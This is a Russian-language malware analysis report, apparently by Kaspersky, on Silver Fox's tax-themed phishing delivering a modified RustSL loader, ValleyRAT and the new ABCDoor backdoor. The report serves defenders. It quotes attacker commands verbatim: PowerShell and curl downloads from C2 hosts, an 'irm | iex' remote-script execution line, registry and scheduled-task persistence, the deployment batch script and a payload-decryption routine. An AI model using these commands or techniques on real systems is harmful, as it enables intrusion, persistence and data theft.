В декабре 2025 года мы зафиксировали волну вредоносной рассылки, имитирующей сообщения от налоговой службы Индии. Спустя несколько недель, в январе 2026 года, началась схожая кампания, нацеленная на российские организации. Мы связали эту активность с группировкой Silver Fox.
Обе волны имели почти идентичную структуру: фишинговые письма оформлялись как официальные уведомления о проведении налоговых проверок или предлагали загрузить архив с «перечнем налоговых нарушений». В архиве находился модифицированный загрузчик на Rust, взятый из открытого репозитория. Он скачивал и запускал известный бэкдор ValleyRAT. Кампания затронула организации из сфер промышленности, консалтинга, торговли и транспорта, а с начала января по начало февраля было зафиксировано более 1600 вредоносных писем.
В ходе исследования мы также обнаружили, что злоумышленники доставляли на устройства жертв новый плагин для ValleyRAT, который загружал и запускал ранее недокументированный бэкдор, написанный на Python. Мы назвали этот бэкдор ABCDoor. Ретроспективное исследование показало, что он находился в арсенале Silver Fox как минимум с конца 2024 года и применяется в реальных атаках с первого квартала 2025 года по сей день.
Почтовая рассылка
В январской рассылке жертвам приходило письмо якобы от налоговой службы с вложенным PDF-файлом.
В PDF-файле присутствовали две кликабельные ссылки для загрузки архива, ведущие на вредоносный ресурс: abc.haijing88[.]com/uploads/фнс/фнс.zip.
В декабрьской рассылке вредоносный код содержался непосредственно в приложенных к письму файлах.
Письмо на скриншоте выше было отправлено с использованием облачной платформы SendGrid и содержало архив ITD.-.rar, в котором находился один исполняемый файл Click File.exe с иконкой Adobe PDF (загрузчик RustSL).
Также в конце декабря рассылались письма с вложением в виде файла GST.pdf с двумя ссылками, ведущими на hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar (印度邮箱 в переводе с китайского значит «индийский почтовый ящик»).
Оба варианта рассылки пытаются сыграть на важности писем от налоговых органов, чтобы убедить жертву скачать документ и запустить цепочку атаки. Вариант со ссылками на загрузку этого архива в PDF-файле нацелен на обход почтовых систем защиты: так как прилагаемый документ содержит только ссылку, которая требует дополнительной проверки, у него больше шансов дойти до адресата, чем у вложения с вредоносным кодом.
Загрузчик RustSL
Злоумышленники использовали модифицированную версию Rust-загрузчика под названием RustSL, исходники которого опубликованы на GitHub с описанием на китайском языке:
В описании RustSL называется также фреймворком для обхода антивирусов, так как обладает билдером с довольно широкими возможностями в плане кастомизации:
- 8 методов шифрования полезной нагрузки;
- 13 методов выделения памяти;
- 12 способов обнаружения песочниц и виртуальных машин;
- 13 способов запуска полезной нагрузки;
- 5 методов кодирования полезной нагрузки.
Помимо этого оригинальная версия RustSL по умолчанию шифрует все строки и добавляет мусорные инструкции для усложнения анализа.
APT-группа Silver Fox впервые стала применять модифицированную версию RustSL в конце декабря 2025 года.
Silver Fox RustSL
В этом разделе рассмотрим ключевые нововведения, которые группа Silver Fox внесла в RustSL. Кастомизированную версию загрузчика мы будем называть Silver Fox RustSL, чтобы отличать ее от оригинальной.
Модуль steganography.rs
Злоумышленники добавили в RustSL модуль steganography.rs, который на самом деле имел мало отношения к стеганографии. Вместо этого он реализовывал распаковку вредоносной нагрузки.
Также злоумышленники модифицировали и билдер RustSL для поддержки нового формата и шифрования нагрузок.
Группа Silver Fox использовала несколько методов доставки зашифрованной вредоносной нагрузки. В декабре мы наблюдали загрузку файлов с удаленных ресурсов, а затем доставку в составе загрузчика. Позже атакующие практически полностью перешли на размещение вредоносной нагрузки в архиве с загрузчиком в виде отдельного файла в формате .png, .htm, .md, .log, .xlsx, .ico, .cfg, .map, .xml или .old.
Формат зашифрованной вредоносной нагрузки
Зашифрованный файл с вредоносной нагрузкой, которую доставлял загрузчик Silver Fox RustSL, выглядел следующим образом:
|
1 |
<RSL_START>rsl_encrypted_payload<RSL_END> |
Если в билдере использовалось дополнительное кодирование нагрузки, то загрузчик сначала декодировал, а затем расшифровывал ее.
Зашифрованная вредоносная нагрузка rsl_encrypted_payload имела следующий формат:
|
1 2 3 4 5 6 7 |
char sha256_hash[32]; // decrypted payload hash DWORD enc_payload_len; WORD sgn_decoder_size; char sgn_iterations; char sgn_key; char decoder[sgn_decoder_size]; char enc_payload[enc_payload_len]; |
Ниже приводим описание блоков данных в ее составе:
- sha256_hash — хэш расшифрованной нагрузки. Загрузчик после расшифровки считает SHA256-хэш и сравнивает его с этим значением. При несовпадении завершает работу;
- enc_payload_len — размер зашифрованной нагрузки;
- sgn_iterations и sgn_key — параметры для расшифровки;
- sgn_decoder_size, decoder — никак не используются;
- enc_payload — основная нагрузка.
Примечательно, что новый непубличный модуль steganography.rs был реализован по аналогии с публичными модулями RustSL (ipv4.rs, ipv6.rs, mac.rs, rc4.rs и uuid.rs из каталога decrypt): в нем использовалась аналогичная структура вредоносной нагрузки, где первые 32 байта представляли собой хэш SHA-256 и размер нагрузки.
Для расшифровки вредоносной нагрузки в steganography.rs использовался кастомный алгоритм, основанный на XOR. Ниже представлен аналог его реализации на Python:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes: buf = bytearray(data) xor_key = sgn_key & 0xFF for _ in range(sgn_iterations): k = xor_key for i in range(len(buf)): dec = buf[i] ^ k if k & 1: k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF else: k = (dec ^ (k >> 1)) & 0xFF buf[i] = dec return bytes(buf) |
Распаковка вредоносной нагрузки состоит из следующих этапов:
- Извлечение rsl_encrypted_payloadЗагрузчик извлекает зашифрованное тело вредоносной нагрузки, расположенное между маркерами <RSL_START> и <RSL_END>.
- Расшифровка по алгоритму XOR с жестко закодированным ключом. В большинстве загрузчиков использовался ключ RSL_STEG_2025_KEY.
- Декодирование нагрузки, если соответствующая настройка применялась в билдере. В билдере с GitHub доступны следующие варианты кодирования вредоносной нагрузки: base64, base32, шестнадцатеричная кодировка, urlsafe_base64. Группа Silver Fox применяла каждую опцию хотя бы однажды. Чаще других использовалось base64-кодирование, потом шестнадцатеричное, base32, а в нескольких образцах мы видели urlsafe_base64.
- Расшифровка полезной нагрузки по алгоритму XOR в несколько итераций с изменением ключа после каждой (Python-алгоритм для расшифровки мы приводили выше)
Модуль guard.rs
Еще один модуль, добавленный в Silver Fox RustSL, — guard.rs. Он реализует различные проверки среды и страны запуска.
В самых первых образцах загрузчиков (конец декабря 2025 года) группировка Silver Fox использовала все доступные методы обнаружения виртуальных машин и песочниц, а также проверяла, находится ли устройство в интересующей ее стране. В более поздних версиях осталась только геолокационная проверка, при этом списки используемых для этого сервисов и стран, разрешенных для работы, расширились.
GitHub-версия загрузчика в списке стран содержит только Китай. В кастомизированных загрузчиках Silver Fox, собранных до 19 января 2026 года, в него входят следующие страны: Индия, Индонезия, ЮАР, Россия и Камбоджа. Начиная с образца от 19 января 2026 года (MD5: e6362a81991323e198a463a8ce255533) в этот список также добавили Японию.
Для определения страны Silver Fox RustSL отправлял запросы на пять публичных сервисов:
- ip-api.com (GitHub-версия использует только этот сервис);
- ipwho.is;
- ipinfo.io;
- ipapi.co;
- www.geoplugin.net.
Phantom Persistence
Мы обнаружили, что загрузчик, собранный 7 января 2026 года (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), стал закрепляться, используя свежую технику Phantom Persistence. Эта техника злоупотребляет функциональностью, позволяющей приложениям, которые требуют перезагрузки для установки обновлений, корректно завершать эту процедуру. Злоумышленники перехватывают сигнал о завершении работы, останавливают нормальное выключение устройства и инициируют перезагрузку якобы для обновления зловреда. Таким образом загрузчик заставляет запустить себя после старта ОС. При этом образец был собран в отладочном режиме и записывал свои действия в файл rsl_debug.log, где мы также обнаружили строки, соответствующие применению техники Phantom Persistence:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls. [unix_timestamp] RSL started in debug mode. [unix_timestamp] ========================================== [unix_timestamp] Phantom Persistence Module (Hijack Mode) [unix_timestamp] ========================================== [unix_timestamp] [*] Calling RegisterApplicationRestart... [unix_timestamp] [+] RegisterApplicationRestart succeeded. [unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns. [unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic. [unix_timestamp] [*] Starting message thread to monitor shutdown events... [unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded. [unix_timestamp] [+] Window created successfully, message loop started. [unix_timestamp] [+] Phantom persistence enabled successfully. [unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS. [unix_timestamp] Phantom persistence enabled. [unix_timestamp] Mouse movement check passed. [unix_timestamp] IP address check passed. [unix_timestamp] Pass Sandbox/VM detection. |
Цепочка атаки и полезные нагрузки
В ходе фишинговой кампании группа Silver Fox использовала два способа доставки вредоносных архивов:
- в качестве вложения в письме;
- посредством ссылки на внешний ресурс злоумышленников, расположенной в PDF-вложении.
Также мы видели три способа размещения полезной нагрузки относительно загрузчика:
- в теле загрузчика;
- на внешнем ресурсе в виде PNG-картинки;
- в архиве рядом с загрузчиком.
На схеме ниже мы изобразили цепочку атаки на примере письма с PDF-файлом и последующей доставки вредоносной нагрузки с внешнего ресурса злоумышленников.
Цепочка заражения начинается с того, что пользователь запускает исполняемый файл (загрузчик RustSL в модификации Silver Fox) с иконкой PDF- или Excel-файла. RustSL загружает зашифрованную полезную нагрузку, которая представляет собой шелл-код. Этот шелл-код, в свою очередь, загружает с сервера злоумышленников зашифрованный модуль 上线模块.dll бэкдора ValleyRAT (также известного как Winos 4.0). Имя файла переводится с китайского как «онлайн-модуль.dll», поэтому для простоты восприятия мы будем называть его «модуль Online».
Модуль Online далее загружает основной компонент ValleyRAT — модуль Login (оригинальное имя файла 登录模块.dll_bin переводится с китайского как «модуль авторизации.dll_bin»). Этот модуль осуществляет взаимодействие с C2-сервером, выполнение команд, загрузку и запуск дополнительных модулей.
Исходный шелл-код, модули Online и Login используют конфигурацию, расположенную в конце шелл-кода:
Значения между знаками «|» записаны в обратном порядке. Восстановив правильный порядок символов, получаем следующую строку:
|
1 |
|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0| |
Основные параметры конфигурации в этой строке:
- p#, o# — IP-адреса и порты C2-серверов ValleyRAT в порядке убывания приоритета;
- bz — дата создания конфигурации.
Приведенную выше цепочку заражения, начиная с зашифрованного шелл-кода и заканчивая загрузкой модуля Login, группа Silver Fox применяет для запуска ValleyRAT уже давно. Более подробно эта процедура и параметры конфигурации описаны в отчетах коллег по индустрии (1, 2 и 3).
После запуска модуля Login ValleyRAT переходит в режим обработки команд от C2, среди которых есть получение и запуск различных дополнительных модулей.
ValleyRAT использует реестр для хранения конфигураций и модулей:
| Ключ реестра | Описание |
| HKCU:\Console\0 | Для x86-модулей |
| HKCU:\Console\1 | Для x64-модулей |
| HKCU:\Console\IpDate | Жестко закодированное расположение в реестре, которое проверяется при старте модуля Login |
| HKCU:\Software\IpDates_info | Финальная конфигурация |
В утекшем в марте 2025 года билдере ValleyRAT содержалось 20 основных и более 20 вспомогательных модулей. В рамках описываемой фишинговой кампании мы обнаружили, что после запуска основной модуль ValleyRAT загружал два ранее не встречавшихся похожих по функциональности модуля, которые, в свою очередь, загружали и запускали ранее неописанный Python-бэкдор ABCDoor.
Кастомные модули ValleyRAT
Обнаруженные модули имеют имена 保86.dll и 保86.dll_bin. В таблице ниже приводим их параметры.
| Значения ключа реестра HKCU:\Console\0 | Название модуля | MD5-хэш библиотеки | Дата и время компиляции (UTC) |
| fc546acf1735127db05fb5bc354093e0 | 保86.dll | 4a5195a38a458cdd2c1b5ab13af3b393 | 2025-12-04 04:34:31 |
| fc546acf1735127db05fb5bc354093e0 | 保86.dll | e66bae6e8621db2a835fa6721c3e5bbe | 2025-12-04 04:39:32 |
| 2375193669e243e830ef5794226352e7 | 保86.dll_bin | e66bae6e8621db2a835fa6721c3e5bbe | 2025-12-04 04:39:32 |
Отдельно стоит отметить PDB-путь, указанный во всех обнаруженных модулях: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. В переводе с китайского 测试插件 означает «тестовый плагин», и это может говорить о том, что модули находятся в разработке.
После старта модуль 保86.dll определял страну запуска с помощью запросов к тем же пяти сервисам, что и модуль guard.rs в Silver Fox RustSL (ipinfo.io, ip-api.com, ipapi.co, ipwho.is и geoplugin.net). Чтобы модуль продолжил работу, зараженное устройство должно находиться в одной из следующих стран:
Если геолокационная проверка пройдена, модуль пытался несколькими способами загрузить с жестко закодированного адреса архив размером 52,5 МБ. В образце с MD5 4a5195a38a458cdd2c1b5ab13af3b393 использовался адрес hxxp://154.82.81[.]205/YD20251001143052.zip, а в образце с MD5 e66bae6e8621db2a835fa6721c3e5bbe —
hxxp://154.82.81[.]205/YN20250923193706.zip.
Примечательно, что группа Silver Fox несколько раз обновляла архив YD20251001143052.zip, но продолжала скачивать его с того же C2 (154.82.81[.]205), не меняя имени файла.
В модуле реализованы следующие способы загрузки архива:
- С помощью функции InternetReadFile с UserAgent PythonDownloader.
- С помощью функции URLDownloadToFile.
- С помощью PowerShell:
1powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }" - С помощью curl:
1curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600
Архив сохранялся по пути %LOCALAPPDATA%\appclient\111.zip.
Архив довольно большой, потому что в каталоге python содержится Python-окружение с пакетами, необходимыми для работы ранее неизвестного бэкдора ABCDoor (мы опишем его в следующем разделе), а в каталоге ffmpeg — статически слинкованный легитимный инструмент для работы с аудио и видео ffmpeg.exe, который бэкдор использует для захвата экрана.
После загрузки DLL-модуль распаковывает архив с помощью методов COM и запускает файл update.bat посредством следующей команды:
|
1 |
cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat" |
Скрипт update.bat копирует распакованные файлы в каталог C:\ProgramData\Tailscale. Этот путь выбран не случайно: он соответствует названию легитимной утилиты Tailscale (сервис mesh VPN на базе протокола WireGuard, объединяющий устройства в единую частную сеть). Вероятно, мимикрируя под VPN-сервис, злоумышленники пытаются скрыть свое присутствие и усложнить анализ скомпрометированной системы.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
@echo off set "script_dir=%~dp0" set SRC_DIR=%script_dir% set DES_DIR=C:\ProgramData\Tailscale rmdir /s /q "%DES_DIR%" mkdir "%DES_DIR%" call :recursiveCopy "%SRC_DIR%" "%DES_DIR%" start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient exit /b :recursiveCopy set "src=%~1" set "dest=%~2" if not exist "%dest%" mkdir "%dest%" for %%F in ("%src%\*") do ( copy "%%F" "%dest%" >nul ) for /d %%D in ("%src%\*") do ( call :recursiveCopy "%%D" "%dest%\%%~nxD" ) exit /b |
Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw:
|
1 |
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient |
Python-бэкдор ABCDoor
Основная точка входа в модуль appclient — файл __main__.py — содержит всего несколько строчек кода. Они отвечают за использование библиотеки setproctitle и исполнение функции run, которой передается адрес C2 в качестве параметра.
Библиотека setproctitle в основном используется в системах под управлением Linux или macOS. Она позволяет изменять отображаемое имя процесса. Однако в Windows ее функциональность сильно ограничена, и, вместо того чтобы изменить имя процесса, она создает именованный объект в формате python(<pid>): <proctitle>. Например, для модуля appclient этот объект будет отображаться следующим образом:
|
1 |
\Sessions\1\BaseNamedObjects\python(8544): AppClientABC |
Мы считаем, что применение setproctitle может свидетельствовать о наличии версий бэкдора для систем, отличных от Windows, или хотя бы о планах его использования в таких средах.
Модуль appclient.core имеет расширение pyd и представляет собой DLL-файл, собранный с помощью Cython 3.0.7. Это и есть основной модуль бэкдора, который мы назвали ABCDoor, потому что почти все обнаруженные в нем адреса C2 имели домен третьего уровня abc.
После старта бэкдор закрепляется в следующих местах:
- В реестре в значении HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient прописывается
"<path_to_pythonw.exe>" -m appclient, например:
1"C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient
Закрепление осуществляется путем выполнения следующей команды:
1cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f" - В планировщике задач. Для этого зловред выполняет следующую команду:
1cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
Команда создает задачу с именем AppClient, которая запускается каждую минуту.
Бэкдор построен на основе Python-библиотек asyncio и Socket.IO. Он взаимодействует с C2 по протоколу HTTPS и асинхронно обрабатывает сообщения с помощью обработчиков событий. Бэкдор разработан по методике объектно-ориентированного программирования, поэтому имеет несколько различных классов:
- MainManager — подключение к C2 и авторизация (отправка данных о системе);
- MessageManager — регистрация и запуск обработчиков сообщений;
- AutoStartManager — закрепление бэкдора;
- ClientManager — обновление и удаление бэкдора;
- SystemInfoManager — сбор данных о системе жертвы, в том числе снимков экранов;
- RemoteControlManager — удаленное управление мышью и клавиатурой с помощью библиотеки pynput и запись экранов (дочерний класс ScreenRecorder);
- FileManager — операции с файловой системой;
- KeyboardManager — эмуляция нажатий кнопок клавиатуры;
- ProcessManager — управление процессами;
- ClipboardManager — отправка буфера обмена на C2;
- CryptoManager — функции шифрования и расшифровки файлов и каталогов (доступно только DPAPI-шифрование, для асимметричного шифрования отсутствуют реализации функций);
- Utils — вспомогательные функции (загрузка и выгрузка файлов, работа с архивами, загрузка журнала ошибок и другие).
После подключения ABCDoor отправляет на C2 сообщение "auth" со следующей информацией в формате JSON:
|
1 2 3 4 5 6 7 8 9 10 11 |
"role": "client", "device_info": { "device_name": device_name, "os_name": os_name, "os_version": os_version, "os_release": os_release, "device_id": device_id, "install_channel": "<channel_name_from_registry>", # optional field "first_install_time": "<install_time_from_registry>", # optional field }, "version": 157 # hard-coded ABCDoor version |
Стоит отметить, что код для получения идентификатора устройства (device_id) в бэкдоре немного странный:
|
1 2 |
device_id = Utility.get_machine_guid_via_file_func() device_id = Utility.get_machine_guid_via_reg() |
Сначала get_machine_guid_via_file_func пытается считать идентификатор из файла %LOCALAPPDATA%\applogs\device.log. Если файла нет, то он создается и инициализируется случайным значением в формате UUID4. Однако после этого функция get_machine_guid_via_reg перезаписывает полученный первой функцией идентификатор значением HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. Возможно, это ошибка в коде.
Главной особенностью бэкдора является отсутствие характерных функций для удаленного управления (создания удаленной оболочки или выполнения произвольной команды). Вместо этого в нем реализованы два альтернативных способа манипулирования зараженным устройством:
- эмуляция двойного клика мышью в режиме трансляции экранов жертвы;
- сообщение
"file_open"классаFileManager, который выполняет функциюos.startfile, то есть запускает указанный файл, используя функциюShellExecuteи обработчик расширения открываемого файла.
Для трансляции экрана используется отдельный файл ffmpeg.exe из архива с ABCDoor. В первых версиях бэкдор мог транслировать данные только с одного монитора, однако в последних появилась возможность трансляции экрана с нескольких мониторов (до четырех) одновременно с использованием Desktop Duplication API (DDA). Для трансляции используются функции захвата экрана RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, RemoteControl::ScreenRecorder::test_ddagrab_support. В коде этих функций формируется длинная строка аргументов запуска для ffmpeg, которая учитывает расположение мониторов (вертикальное или горизонтальное) и их количество (до четырех включительно) и склеивает данные с них в один цельный поток.
Поскольку ABCDoor запущен внутри легитимного процесса pythonw.exe, он может скрываться в системе жертвы долгое время, не будучи обнаруженным. Однако в процессе работы ABCDoor обращается к различным ресурсам реестра и файловой системы, и через эти взаимодействия можно выявлять его работу. В частности, ABCDoor:
- записывает в значение HKCU:\Software\CarEmu:FirstInstallTime время своей первой установки;
- создает каталог и файл %LOCALAPPDATA%\applogs\device.log, куда он сохраняет ID жертвы;
- при возникновении исключений записывает их в файл %LOCALAPPDATA%\applogs\exception_logs.zip. Любопытно, что группа Silver Fox даже реализовала функцию
Utility::upload_exception_logsдля отправки архива с исключениями на заданный URI — вероятно, чтобы корректировать возникающие при работе ошибки.
Кроме того, ABCDoor имеет функциональность самообновления и самоудаления, которая также генерирует детектируемые артефакты. Обновление загружается с заданного URI в %TEMP%\tmpXXXXXXXX\update.zip, где XXXXXXXX — случайные значения из [a–z0–9], затем распаковывается в каталог %TEMP%\tmpXXXXXXXX\update, и выполняется PowerShell-команда:
|
1 |
powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden" |
Старый процесс ABCDoor принудительно завершается.
Версии ABCDoor
В результате ретроспективного исследования мы обнаружили, что самая ранняя версия ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) появилась в конце 2024 года. Далее в 2025 году бэкдор довольно активно развивался. Ниже представляем таблицу с основными этапами его развития:
| Версия | Дата сборки, UTC | Что нового | md5 pyd-файла ABCDoor |
| 121 | 2024.12.19 18:27:11 | — минимум функций (загрузка файлов, удаленное управление с использованием Graphics Device Interface (GDI) в ffmpeg); — не используется ООП; — закрепление в реестре. |
5b998a5bc5ad1c550564294034d4a62c |
| 143 | 2025.02.04 01:15:00 | — обновление клиента; — закрепление в планировщике задач; — ООП (классы); — работа с буфером обмена; — управление процессами; — асимметричное шифрование файлов и каталогов. |
c50c980d3f4b7ed970f083b0d37a6a6a |
| 152 | 2025.04.01 15:39:36 | — DPAPI-функции шифрования; — загрузка файлов на C2 по частям. |
de8f0008b15f2404f721f76fac34456a |
| 154 | 2025.05.09 13:36:24 | — использование каналов установки; — эмуляция комбинаций клавиш. |
9bf9f635019494c4b70fb0a7c0fb53e4 |
| 156 | 2025.08.11 13:36:10 | — получение и запись времени первой установки в реестр. | a543b96b0938de798dd4f683dd92a94a |
| 157 | 2025.08.28 14:23:57 | — использование источника DDA в ffmpeg для трансляции изображения с мониторов. | fa08b243f12e31940b8b4b82d3498804 |
| 157 | 2025.09.23 11:38:17 | — сборка Cython 3.0.7 (предыдущая версия была на Cython 3.0.12). | 13669b8f2bd0af53a3fe9ac0490499e5 |
Эволюция методов распространения ABCDoor
Несмотря на то что первая версия бэкдора появилась в конце 2024 года, злоумышленники начали использовать его в атаках предположительно в феврале–марте 2025 года. На тот момент бэкдор распространялся при помощи стейджеров, написанных на C++ и Go:
- Стейджер на C++. Файл GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) скачивал с адреса hxxps://mcagov[.]cc/download.php?type=exe загрузчик (MD5: f15a67899cfe4decff76d4cd1677c254), который, в свою очередь, скачивал архив с ABCDoor с URL hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, распаковывал и запускал его.
- Стейджер на Go. Файл GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) выполнял удаленный PowerShell-скрипт:
1powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"
Этот скрипт загружал архив с ABCDoor и запускал его.
Позже, с мая по август 2025 года, группа Silver Fox различными способами меняла техники доставки:
- использовала сервис tinyurl. Стейджеры сначала обращались к tinyurl-адресам, которые уже перенаправляли их на полные адреса для скачивания следующего этапа:
- hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
- hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
- использовала URL-адреса с аргументами вида
channel=[word_MMDD]:- hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
- hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
- hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903
Благодаря названиям «каналов» мы обнаружили пересечения ABCDoor с другими вредоносными файлами, которые, вероятнее всего, также принадлежат Silver Fox. Это NSIS-инсталляторы с символикой Министерства по корпоративным вопросам Индии (отвечает за регулирование промышленных предприятий и сектора услуг), которые устанавливают подключение к серверу злоумышленников по адресу hxxps://vnc.kcii2[.]com, предоставляя им удаленный доступ к устройству жертвы. Ниже представлен список файлов, которые нам удалось найти:
- RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57);
- RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e);
- RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2);
- MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00);
- MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a);
- MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2).
Файл MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) также располагался на одном из серверов, которые использовали стейджеры ABCDoor, и загружался с помощью tinyurl:
hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697
С ноября 2025 года для доставки ABCDoor злоумышленники стали использовать JavaScript-загрузчик, который распространялся при помощи самораспаковывающихся SFX-архивов, дополнительно упакованных в ZIP-архивы:
- CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb1) (Related material.exe);
- November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe);
- December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe);
- December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe);
- Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe).
ZIP-архивы, скорее всего, распространялись с помощью фишинговых писем. Они содержали один из двух SFX-файлов: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) и Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), которые отличались только иконками.
При запуске SFX-архива выполнялся следующий скрипт:
Этот скрипт запускал run_direct.ps1 — PowerShell-скрипт, содержащийся внутри архива.
Скрипт run_direct.ps1 проверял наличие NodeJS в стандартном каталоге на компьютере жертвы (%USERPROFILE%\.node\node.exe) и, если его не было, скачивал официальную сборку NodeJS версии 22.19.0, распаковывал ее в эту же папку и удалял архив. Затем он запускал файл run.deobfuscated.obf.js, который также находился в SFX-архиве, с помощью найденного (или только что установленного) NodeJS, передавая ему два параметра — зашифрованную конфигурационную строку и XOR-ключ для расшифровки:
Запускаемый JS-скрипт сильно обфусцирован (вероятно, с помощью obfuscate.io). После запуска он записывал значение параметра channel из конфигурации в реестр в значение HKCU:\Software\CarEmu:InstallChannel типа REG_SZ. После этого он загружал архив по ссылке, указанной в параметре zipUrl, и сохранял его в %TEMP%\appclient_YYYYMMDDHHMMSS.zip (или в /tmp в Linux). Этот архив он распаковывал в каталог %USERPROFILE%\AppData\Local\appclient (%HOME%/AppData/Local/appclient в Linux) и запускал командой cmd /c start /min python/pythonw.exe -m appclient со скрытием окна и в фоновом режиме. После распаковки скрипт удалял ZIP-архив.
Также в коде почти после каждого действия вызывается функция логирования в консоль, описывающая выполняемые действия на китайском:
Жертвы
Как мы упоминали выше, загрузчики Silver Fox RustSL настроены работать в определенных странах: России, Индии, Индонезии, ЮАР, Камбодже. Последние версии RustSL также содержат в этом списке Японию. По данным нашей телеметрии, пользователи во всех этих странах, кроме Камбоджи, сталкивались с RustSL. Больше всего атак мы наблюдали в Индии, России и Индонезии.
Большинство обнаруженных образцов загрузчика находились в архивах с названиями на налоговую тематику, поэтому мы с высокой степенью уверенности может отнести эти атаки к одной кампании. О том, что Silver Fox рассылает письма от имени налоговой в Японии, также писали исследователи ESET.
Заключение
В описанной кампании злоумышленники использовали доверие пользователей к официальным уведомлениям от налоговой службы, маскируя вредоносные файлы под документы о налоговых нарушениях. Это лишний раз указывает на необходимость проявлять бдительность и тщательно проверять любые письма, в том числе из авторитетных источников. Организациям мы рекомендуем повышать осведомленность сотрудников об информационной безопасности при помощи регулярных курсов и тренингов.
Мы наблюдали в атаках использование как уже известных инструментов Silver Fox, например ValleyRAT, так и новых — модифицированной версии загрузчика RustSL, а также ранее неописанного бэкдора ABCDoor. Расширяют атакующие и зону своих интересов: одной из основных целей кампании стали организации в России, а список атакуемых стран в конфигурации вредоносных инструментов пополнила Япония. В теории, в перспективе злоумышленники могут добавить и другие страны в этот список.
Группа Silver Fox практикует многоступенчатый подход к доставке основной нагрузки, а также использует разделенную инфраструктуру (разные адреса и домены для доставки разных этапов атаки). Эти техники направлены на минимизацию риска обнаружения и блокировки всей цепочки атаки. Чтобы вовремя выявить подобную активность, организациям стоит использовать комплексный подход к защите своей инфраструктуры.
Индикаторы компрометации
Дополнительная информация об этой угрогзе, включая индикаторы компрометации, доступна клиентам Kaspersky Intelligence Reporting Service. Если вас интересуют подробности, свяжитесь с нами по почте: intelreports@kaspersky.com.
Сетевые индикаторы:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
